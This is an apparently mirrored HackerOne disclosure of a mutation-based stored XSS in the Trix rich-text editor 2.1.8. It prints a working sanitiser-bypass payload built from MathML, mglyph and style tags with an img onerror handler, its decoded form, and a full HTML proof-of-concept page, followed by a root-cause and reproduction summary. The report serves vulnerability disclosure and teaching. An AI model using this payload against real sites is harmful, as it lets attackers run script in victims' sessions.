Skip to content
XSS Disclosed report Advanced

Mutation Based Stored XSS on Trix Editor version latest (2.1.8)

The Trix rich-text editor's sanitiser could be bypassed by pasting crafted content that mutates into an executable HTML structure, allowing script to run. An attacker could use this to run arbitrary JavaScript in a victim's session when they paste the content into the editor.

sudi Follow

Originally disclosed on HackerOne

Critical View original
  • Disclosed after 8 months

Heyy there, I have found a bypass for the sanitizer used in Trix Editor https://github.com/basecamp/trix , the bypass is kind a of mutation based , using copy paste vector it's possible to perform the xss.

An example payload would be:

HTML
copy<div data-trix-attachment="{&quot;contentType&quot;:&quot;text/html5&quot;,&quot;content&quot;:&quot;&lt;math&gt;&lt;mtext&gt;&lt;table&gt;&lt;mglyph&gt;&lt;style&gt;&lt;img src=x onerror=alert()&gt;&lt;/style&gt;XSS POC&quot;}"></div>me

Decoding the html entity you get the below payload ,which contains the mutation xss vector

HTML
<math><mtext><table><mglyph><style><img src=x onerror=alert()></style>

For more details on this bypass you can read here: https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/ There will exist will more simple vectors this is just an example which worked out of the blue.


Steps to reproduce:

Using the similar poc from the report #2521419 we can replicate the bug, just save the below code in .html file and then copy the text saying copy me and paste it in the editor this will popup an alert.

HTML
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Trix Editor XSS Demo</title>
  <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/trix.umd.js"></script>
  <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/trix.min.css" rel="stylesheet">
</head>
<body>
  <h1>Trix Editor XSS Demo</h1>
  <trix-editor></trix-editor>
  <script>
  document.write(`copy<div data-trix-attachment="{&quot;contentType&quot;:&quot;text/html5&quot;,&quot;content&quot;:&quot;&lt;math&gt;&lt;mtext&gt;&lt;table&gt;&lt;mglyph&gt;&lt;style&gt;&lt;img src=x onerror=alert()&gt;&lt;/style&gt;XSS POC&quot;}"></div>me`);
  </script>
</body>
</html>

image.png
image.png From the original on HackerOne

Impact

An attacker could exploit these vulnerabilities to execute arbitrary JavaScript code within the context of the user's session, potentially leading to unauthorized actions being performed or sensitive information being disclosed.

The original report as published on HackerOne, by sudi. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the sanitiser validates the pasted HTML before the browser's parser mutates it into a different, executable DOM structure, so the sanitised output no longer matches what is rendered.

Impact

An attacker could execute arbitrary JavaScript in the context of the user's session, potentially leading to unauthorised actions or disclosure of sensitive information.

What the attacker needed

Victim pastes crafted content; Trix editor version 2.1.8 in use

How it was found

  1. Save the provided demo HTML page that loads the Trix editor and writes the crafted attachment markup.
  2. Save the demo HTML file.
  3. Select and copy the text labelled 'copy me'.
  4. Paste it into the Trix editor, which triggers the alert.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A rich-text editor cleans up pasted content so that dangerous HTML is removed. Here the cleaning step could be tricked: the browser rearranges the pasted markup into a different shape after the check, and that new shape contains a script trigger. So pasting a specially prepared snippet into the editor runs code in the page.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by sudi

View all

14 more disclosed reports, best first.

More from Basecamp

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.